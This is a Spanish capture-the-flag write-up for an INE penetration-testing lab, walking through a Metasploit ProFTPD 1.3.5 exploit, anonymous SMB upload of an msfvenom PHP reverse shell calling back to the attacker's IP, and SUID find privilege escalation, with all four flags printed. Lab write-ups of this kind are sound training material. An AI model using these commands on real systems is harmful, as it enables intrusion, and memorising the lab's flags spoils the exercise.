~/write-ups/writeup-2a37d93542

Host & Network Penetration Testing: Exploitation CTF 3

Imported from Notion: Host & Network Penetration Testing: Exploitation CTF 3

target:: Notion MEDIUM date:: 2026.07.26 notion

Pistas

  1. A vulnerable service maybe running on target1.ine.local. If exploitable, retrieve the flag from the root directory.

  2. Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.

  3. A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?

  4. Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?


Empezamos tirando nmap al target 1:

nmap -A target​1.ine.​local
Notion image
Notion image

Descubrimos que tiene corriendo un servicio ProFTPD 1.3.5 a si que lo buscamos en searchsploit

search​sploit​ ProFTPD 1.3.5
Notion image
Notion image

Vamos que tiene módulo metasploit lo usaremos para simplificar el exploit.

service postgresql start && msfconsole

Bucamos el exploit

search ProFTPD 1.3.5
use 0

Vamos a ver que hay que configurar con show options

Notion image
Notion image

Pondremos nuestro LHOST , ponemos RHOSTS apuntando a target1.ine.local y debemos ajustar SITEPATH ya que en este caso el path es /var/www/html y ejecutamos con run

Notion image
Notion image

Vemos que realmente si abrió sesion:

sessions
Notion image
Notion image

Abrimos la sesion sessions 1 y vemos que en la raíz tenemos la flag.

Notion image
Notion image

Además nos da una pista de la siguiente flag:

FLAG1{a2f6367cd54b4df4af5812c6f6503268} Remember, the magical word is 'letmein'

Vamos a ver que puertos puede haber en escucha:

netstat -ano
Notion image
Notion image

Vemos un servicio sospechoso corriendo en localhost:

tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN off (0.00/0/0)

Accedemos a él con nc :

nc localhost 8888
Notion image
Notion image

Introducimos la pista anterior: letmein

Y nos arroja la segunda flag: FLAG2{1112b4c0dcd74b90aa5e50b9bd7ef6df}

Vamos a por el target 2, ya que las siguientes pistas son sobre ese target.

nmap -A target​2.ine.​local
Notion image
Notion image

La pista dice que algun servicio esta mal configurado, a si que todo apunta a samba , probemos a autenticarnos sin password con el user anonymous :

impack​et-smb​client​ -no-pass anonymous@target​2.ine.​local
Notion image
Notion image

Enumeramos shares y vemos un share llamado site-uploads

Notion image
Notion image

Entramos al share:

use site-u​ploads​

Probemos en la web a ver si podemos acceder a él.

Vamos en el navegador a http://192.122.41.4/site-uploads/

Notion image
Notion image

Efectivamente, estamos dentro.

Hacemos una reverse shell PHP para ganar acceso:

msfv​enom -p php/re​verse_​php LHOST=192.122.41.2​ LPORT=443 -o shell.php
Notion image
Notion image

Y la subimos en la sesion smb que tenemos con:

put shell.php

Ahora en Metasploit procedemos como siempre a ponernos en escucha, use multi/handler , set LPORT 443 , set LHOST 192.122.41.2 , set payload php/reverse_php y run

Clickamos en shell.php y obtenemos la reverse shell.

Notion image
Notion image

Vamos a upgradearla a una meterpreter , hacemos Ctrl + z para ponerla en segundo plano y upgradeamos con sessions -u ID

Vamos a la raíz y vemos la flag 3.

Notion image
Notion image

FLAG3{f92017f39cb54532b157adfcfb5f0281}

Ahora la pista dice que debemos ganar acceso al usuario root , a si que vamos a buscar binarios que podamos ejecutar como root :

find / -perm -4000 2>/dev/null
Notion image
Notion image

Perfecto, podemos usar find con permisos de root a si que vamos a ejecutar comando con find que nos otorgue una shell:

/usr/b​in/fin​d . -exec /bin/bash -p -i \; -quit
  • -pNO baja privilegios
Notion image
Notion image

Vamos a la ruta /root y vemos la última flag: FLAG4{354048da1fe44a84a6784181bf23ac2f}

- EOF -

<< back_to_index